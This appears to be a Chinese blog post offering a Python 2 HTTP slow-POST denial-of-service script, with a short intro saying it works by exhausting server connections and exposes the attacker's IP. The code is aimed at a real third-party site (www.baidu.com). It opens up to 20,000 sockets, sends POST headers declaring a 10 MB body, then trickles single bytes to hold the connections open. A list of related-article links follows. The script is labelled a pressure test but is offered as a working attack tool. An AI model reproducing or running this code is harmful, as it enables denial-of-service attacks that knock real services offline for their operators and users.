基于http的ddos,主要就是靠占用连接数达到攻击目标,但也非常危险,会暴露攻击者的ip,慎用

#!/usr/bin/env python

import socket

import time

import threading

#Pressure Test,ddos tool

#---------------------------

MAX_CONN=20000

PORT=80

HOST="www.baidu.com"

PAGE="/index.php"

#---------------------------

buf=("POST %s HTTP/1.1\r\n"

"Host: %s\r\n"

"Content-Length: 10000000\r\n"

"Cookie: dklkt_dos_test\r\n"

"\r\n" % (PAGE,HOST))

socks=[]

def conn_thread():

global socks

for i in range(0,MAX_CONN):

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

try:

s.connect((HOST,PORT))

s.send(buf)

print "Send buf OK!,conn=%d\n"%i

socks.append(s)

except Exception,ex:

print "Could not connect to server or send error:%s"%ex

time.sleep(10)

#end def

def send_thread():

global socks

while True:

for s in socks:

try:

s.send("f")

#print "send OK!"

except Exception,ex:

print "Send Exception:%s\n"%ex

socks.remove(s)

s.close()

time.sleep(1)

#end def

conn_th=threading.Thread(target=conn_thread,args=())

send_th=threading.Thread(target=send_thread,args=())

conn_th.start()

send_th.start()

ddos攻击python_Python基于http的ddos攻击代码相关推荐

  1. 浅析防御僵尸网络基于应用层的DDOS攻击

    近期数据显示,针对应用层的DDOS攻击有加速的趋势.据预测,基于应用层的DDOS攻击每年以三倍的速度增长,Gartner预测DDOS攻击会占2013年所有的应用层攻击中的25%左右.研究指出,黑客现在 ...

  2. https ddos攻击——由于有了认证和加解密 后果更严重 看绿盟的产品目前对于https的ddos cc攻击需要基于内容做检测...

    如果web服务器支持HTTPS,那么进行HTTPS洪水攻击是更为有效的一种攻击方式,一方面,在进行HTTPS通信时,web服务器需要消耗更多的资源用来进行认证和加解密,另一方面,一部分的防护设备无法对 ...

  3. 小隐隐于野:基于TCP反射DDoS攻击分析

    欢迎大家前往腾讯云+社区,获取更多腾讯海量技术实践干货哦~ 作者:腾讯DDoS安全专家.腾讯云游戏安全专家 陈国 0x00 引言 近期,腾讯云防护了一次针对云上某游戏业务的混合DDoS攻击.攻击持续了 ...

  4. 基于机器学习的DDos攻击检测

    2基于机器学习的DDoS攻击检测方法 环境:pycharm+python3.4 2.1数据分析与特征工程 2.1.1数据来源 kaggle 2.1.2数据大小 训练集:80万条 测试集:30万条 2. ...

  5. 转载和积累系列 - 基于JavaScript的DDoS攻击

    基于JavaScript的DDoS攻击 DDoS,即Distributed Denial of Service,中文译为分布式拒绝服务攻击,是一种常见的网络攻击方式.它的基本思想就是像一台服务器发送大 ...

  6. 基于SDN的DDoS攻击检测和防御方法

    本文主要阐述SDN环境下的DDoS攻击检测与主动防御研究.首先分层次的介绍了软件定义网络的架构特点及协议.然后介绍了DDoS攻击原理及对SDN架构网络的危害.接下来通过Floodlight.minin ...

  7. DDOS学习笔记(《破坏之王-DDOS攻击与防范深度剖析》)

           最近花了点时间把<破坏之王-DDOS攻击与防范深度剖析>看了一遍,坦白来说,这本书比较浅显,可以说是入门书,当然对于我这种对DDOS一知半解的人来说,也是一本不错的书,起码我 ...

  8. Talos实验室深入我国DDoS黑市DuTe 揭露各种DDoS团伙、平台、工具及攻击

    在过去的几个月里, Talos实验室 发现提供在线 DDoS即服务 的中文网站数量有所上涨.很多网站采用几乎雷同的布局和设计,提供简单接口供用户选择攻击目标的主机.端口.攻击方法和持续时间.此外,大多 ...

  9. ddos攻击是什么 怎么防ddos攻击教程

    ddos攻击是什么,想必这是很多使用电脑者都不知道又很想知道的一个问题,总感觉ddos攻击是个很厉害的东西,ddos攻击一开始是叫dos攻击-拒絕服務(Denial of Service)攻擊,DDO ...

最新文章

  1. Linux06-服务、守护进程和systemd
  2. 差分约束系统【模板】
  3. 设计模式--观察者(Observer)模式
  4. Android在ListView中嵌套一个GridView时只显示一行的原因及解决方法
  5. Netiler annotation 用法
  6. postGIS相关数据库参数
  7. php使用fopen乱码,php下fopen中文文件名乱码怎么办?
  8. 一个注解搞懂 Sentinel,@SentinelResource总结
  9. css文字溢出部分在另一个div显示(代码篇)
  10. vs.net c# 安装、注册windows service服务,判断服务是否存在,是否启动
  11. linux运维需要掌握的基础知识
  12. C++_函数的定义_函数调用_值传递_函数常见的样式_函数声明(重要)_函数分文件编写---C++语言工作笔记022
  13. 凸优化有关的数值线性代数知识二:求解已经因式分解的矩阵的线性方程组
  14. JavaScript 动画 3---缓冲动画
  15. sql server 2005_全文目录
  16. python通过http上传文件
  17. Arduino 操作BT008蓝牙串口模块
  18. cmds(cmds数据)
  19. (求助)RPC failed;curl 56 GnuTLS recv error(-9): A TLS packet with unexpected length was received
  20. 最全HTTP状态码汇总1XX——5XX

热门文章

  1. windows上的svn服务器迁移到linux
  2. windows下expdp自动备份脚本
  3. 3、深入理解计算机系统笔记:程序的机器级表示
  4. Tether销毁5亿USDT;BCH将于11月15日硬分叉,SV-Pool已向普通矿工开放
  5. BitPay商家现在可以通过比特币现金(BCH)获得结算
  6. 比特币大涨,如何辨别牛市是否真正到来?
  7. 在Windows上编译UEFI SDK 2018/OVMF的方法
  8. 设计模式(六)命令模式
  9. 基于WeUI的Angular2开发
  10. rtems线程管理与调度(一)